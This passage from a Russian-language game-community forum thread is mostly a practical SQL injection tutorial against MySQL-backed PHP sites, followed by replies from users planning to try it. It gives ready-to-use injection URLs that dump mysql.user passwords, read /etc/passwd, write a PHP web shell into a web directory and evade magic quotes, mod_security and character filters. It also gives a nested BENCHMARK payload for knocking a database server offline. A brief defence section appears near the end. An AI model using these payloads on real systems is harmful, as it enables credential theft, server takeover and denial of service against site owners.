_http://site/test.php?id=9999+union+select+null,mysql.user.pass word,null+from+mysql.user+limit+1,1/*
Кроме того можно узнать много интересного:

Код:
_http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

_http://site/test.php?id=9999+union+select+null,USER(),null/*

_http://site/test.php?id=9999+union+select+null,VERSION(),null/*
5) названия столбцов в таблице

Их аналогично, можно перебрать: _http://site/test.php?id=9999+union+select+null,row1,null+from+ table1/* и тд.

текст файлов через MySQL инъекцию.

Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла

Код:
_http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*
запись файлов в веб директорию (php shell).

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа.

_http://site/test.php?id=9999+union+select+null,'',null+from+ta ble1+into+outfile+'/usr/local/site/www/banners/cmd.php'/*

При этом конструкция from table1 обязательна.

Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include.

инъекция после limit.

Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

Практика показывает, что все вышесказанное может быть применено и в этом случае.

MySQL корректно реагирует на запросы типа:

Select ... limit 1,2 union select....

Select ... limit 1 union select....

Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select....

некоторые "подводные камни".

1) Magic quotes

Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например

Код:
_http://site/test.php?id=9999+union+select+char(116,101,115,116 ),null,null/*

_http://site/test.php?id=9999+union+select+char(116,101,115,116 ),null,null+from_table1/*

_http://site/test.php?id=9999+union+select+null,LOAD_FILE(char( 47,101,116,99,47,112,97,115,115,119,100)),null/*
Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(...) выдает ошибку.

2) Mod_security.

Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

DOS в MySQL инъекции.

Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос:

Код:
_http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))
1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун.

другие типа MySQL инъекции.

Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например:

Код:
mysql_query("select id from users where password like '".addslashes($password)."' and user like '".addslashes($user)."'");
в этом случае к любому пользователю подойдет пароль %

apache mod_rewrite

В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

Например, скрипты типа /news/127.html преобразуются к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*)\.html$ "/news/news.php?id=$1"

Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла.

Коротко о защите.

Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил.

1) для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу.

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию.

if((string)$id<>(string)(int)$id) {

//пишем в лог о попытке

die('ops');

}

2) для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки.

$str=addslashes($str);

или, лучше,

mysql_escape_string($str)

3) в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов.

Секреты и ньюансы.

Обход фильтрации:
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:

Код:
_http://www.site.ru/index.php?page=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(USER(), 0x71),0x71),4,5,6/*
Это успешно сработало.

Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:

Код:
_http://www.site.ru/index.php?page=-1+union+select+1,2,LOAD_FILE(char(47,101,116,99,47 ,112,97,115,115,119,100)),4,5,6/*
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии.

Например:
Код:
_http://www.site.ru/index.php?page=-1+union+select+1,2,user,password,5,6+from+mysql.us er/*
Аналогично:
Код:
_http://www.site.ru/index.php?page=-1/**/union/**/select/**/1,2,user,password,5,6/**/from/**/mysql.user/*
DOS:

Код:
_http://www.site.ru/index.php?page=-1+BENCHMARK(10000000,BENCHMARK(10000000,md5(curren t_date)))
dw вне форума   Ответить с цитированием
Старый 20.01.2008, 22:59   #4
Psychodelic
No Active
 
Регистрация: 20.01.2008
Сообщений: 6
Вы сказали Спасибо: 0
Поблагодарили: 1 раз в 1 сообщении
По умолчанию

Осилил, но половину, завтро дочетаю.... Зачот, но вопрос это к сайтам катит тоже? так как сформулированно на сайты ла2 проектов (серверов)...
__________________
[B][FONT="Comic Sans MS"][COLOR="Black"]La2 Live[/COLOR][/FONT][/B] - [COLOR="DimGray"][B]All For It ![/B][/COLOR]

[SIGPIC][/SIGPIC]
Psychodelic вне форума   Ответить с цитированием
Старый 20.01.2008, 23:50   #5
dw
Member of L2 Community
 
Аватар для dw
 
Регистрация: 16.01.2008
Сообщений: 105
Вы сказали Спасибо: 1
Поблагодарили: 104 раз(а) в 35 сообщениях
По умолчанию

Да, Это для всех сайтов. Там кстати не все статьи под Lineage заточены.
dw вне форума   Ответить с цитированием
Старый 21.01.2008, 10:05   #6
Psychodelic
No Active
 
Регистрация: 20.01.2008
Сообщений: 6
Вы сказали Спасибо: 0
Поблагодарили: 1 раз в 1 сообщении
По умолчанию

Цитата:
Сообщение от dw Посмотреть сообщение
Да, Это для всех сайтов. Там кстати не все статьи под Lineage заточены.
окей, сегодня дочетаю....респект, что выложил!
__________________
[B][FONT="Comic Sans MS"][COLOR="Black"]La2 Live[/COLOR][/FONT][/B] - [COLOR="DimGray"][B]All For It ![/B][/COLOR]

[SIGPIC][/SIGPIC]

Последний раз редактировалось Psychodelic; 21.01.2008 в 10:05.. Причина: !!!
Psychodelic вне форума   Ответить с цитированием
Старый 30.01.2008, 19:31   #7
eXe*
No Active
 
Регистрация: 30.01.2008
Сообщений: 92
Вы сказали Спасибо: 0
Поблагодарили: 20 раз(а) в 14 сообщениях
По умолчанию

Mm, уже есть идеи насчет хака ПТСов.
Скоро опишу!
eXe* вне форума   Ответить с цитированием
Старый 25.03.2008, 08:24   #8
XionKZ
No Active
 
Регистрация: 20.03.2008
Адрес: Казахстан, г.Алматы
Сообщений: 64
Вы сказали Спасибо: 0
Поблагодарили: 5 раз(а) в 5 сообщениях
По умолчанию

Много букаф, но мне по силам.
Почти во всем разобрался.
СПС огромное! Буду пытаться, и проверять все на практике.
__________________
[SIGPIC]Л2 - зло! Но это зло радует тому, что оно есть![/SIGPIC]
XionKZ вне форума   Ответить с цитированием
Старый 04.07.2008, 16:09   #9
ApxaHGe1
No Active
 
Регистрация: 04.07.2008
Сообщений: 4
Вы сказали Спасибо: 0
Поблагодарили: 0 раз(а) в 0 сообщениях
По умолчанию

Есть способ делать инъекцию в базе пряма через клиент, у кого есть идеи кк это провернуть?)
ApxaHGe1 вне форума   Ответить с цитированием
Старый 09.12.2008, 18:10   #10
Ural
No Active
 
Регистрация: 09.12.2008
Сообщений: 11
Вы сказали Спасибо: 0
Поблагодарили: 1 раз в 1 сообщении
По умолчанию

счас фри используют движки неких сторонних разрабов, то есть один движок может пользоватся несколькими фри
интересно было бы разбор подобных двигов поглядеть
Ural вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход




Powered by vBulletin® Version 3.7.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot
Advertisement System V2.5 By   Branden
L2-Community ©2008-2015


Еще можно прочесть: